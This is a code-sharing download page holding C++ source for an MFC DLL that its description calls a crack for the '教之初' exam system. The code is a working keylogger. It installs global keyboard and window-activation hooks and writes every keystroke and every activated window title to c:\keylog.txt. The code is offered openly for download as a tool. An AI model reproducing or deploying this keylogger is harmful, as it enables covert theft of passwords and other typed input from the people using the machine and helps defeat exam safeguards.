⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 kypcjxexamcrkdll.cpp

📁 对教之初考试系统的破解,此系统采用DLL方式
💻 CPP
字号:
// KYPCJXExamCrkDll.cpp : 定义 DLL 的初始化例程。
//

#include "stdafx.h"
#include "KYPCJXExamCrkDll.h"
#include "Login.h"
#include "Set.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif

//
//	注意!
//
//		如果此 DLL 动态链接到 MFC
//		DLL,从此 DLL 导出并
//		调入 MFC 的任何函数在函数的最前面
//		都必须添加 AFX_MANAGE_STATE 宏。
//
//		例如:
//
//		extern "C" BOOL PASCAL EXPORT ExportedFunction()
//		{
//			AFX_MANAGE_STATE(AfxGetStaticModuleState());
//			// 此处为普通函数体
//		}
//
//		此宏先于任何 MFC 调用
//		出现在每个函数中十分重要。这意味着
//		它必须作为函数中的第一个语句
//		出现,甚至先于所有对象变量声明,
//		这是因为它们的构造函数可能生成 MFC
//		DLL 调用。
//
//		有关其他详细信息,
//		请参阅 MFC 技术说明 33 和 58。
//

// CKYPCJXExamCrkDllApp

BEGIN_MESSAGE_MAP(CKYPCJXExamCrkDllApp, CWinApp)
END_MESSAGE_MAP()


// CKYPCJXExamCrkDllApp 构造

CKYPCJXExamCrkDllApp::CKYPCJXExamCrkDllApp()
{
	// TODO: 在此处添加构造代码,
	// 将所有重要的初始化放置在 InitInstance 中
}


// 唯一的一个 CKYPCJXExamCrkDllApp 对象

CKYPCJXExamCrkDllApp theApp;


// CKYPCJXExamCrkDllApp 初始化

BOOL CKYPCJXExamCrkDllApp::InitInstance()
{
	CWinApp::InitInstance();

	return TRUE;
}

//导出函数声明
#define DllExport __declspec(dllexport) 
DllExport void WINAPI Installhook(); 
/////////////////////////////////////////////////////////////////////////////
char buffer[64];
HHOOK hook1=NULL;
HHOOK hook2=NULL; 

LRESULT CALLBACK KeyHook(int nCode,WPARAM wParam,LPARAM lParam); 
LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam); 
void SaveLog(char* buffer); 

DllExport void WINAPI Installhook()
{ 
	hook1=SetWindowsHookEx(WH_KEYBOARD, 
			(HOOKPROC)KeyHook,
			theApp.m_hInstance, 
			0); 
	hook2=SetWindowsHookEx(WH_CBT, 
			(HOOKPROC)WinHook, 
			theApp.m_hInstance,
			0); 
} 

LRESULT CALLBACK KeyHook(int nCode,WPARAM wParam,LPARAM lParam) 
{ 
	if(nCode>=0)
	{
		if((lParam & 0x80000000) == 0x00000000)
		{//Check whether key was pressed(not released).
			buffer[0]=wParam; 
			buffer[1]='\x0';
			SaveLog(buffer); 
		} 
	} 
	return CallNextHookEx(hook1,nCode,wParam,lParam);  
} 
LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam) 
{  
	if(nCode==HCBT_ACTIVATE)
	{
		::GetWindowText((HWND)wParam,buffer,64);
		SaveLog(buffer); 
	} 
	return CallNextHookEx(hook2,nCode,wParam,lParam);
} 
void SaveLog(char* buffer) 
{ 
	CString name("c:\\keylog.txt");
	CFile file; 
	if(!file.Open(name,CFile::modeReadWrite))
	{ 
		file.Open(name,CFile::modeCreate|CFile::modeReadWrite); 
	} 
	file.SeekToEnd(); 
	file.Write(buffer,strlen(buffer)); 
	file.Write("\x0d\x0a",2);
	file.Close(); 
}

/*extern "C" __declspec(dllexport) void ShowLogin()
{
	AFX_MANAGE_STATE(AfxGetStaticModuleState());
	CLogin login;
	if(login.DoModal()==IDCANCEL)
		return;
	CSet dlg;
	dlg.DoModal();
}*/

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -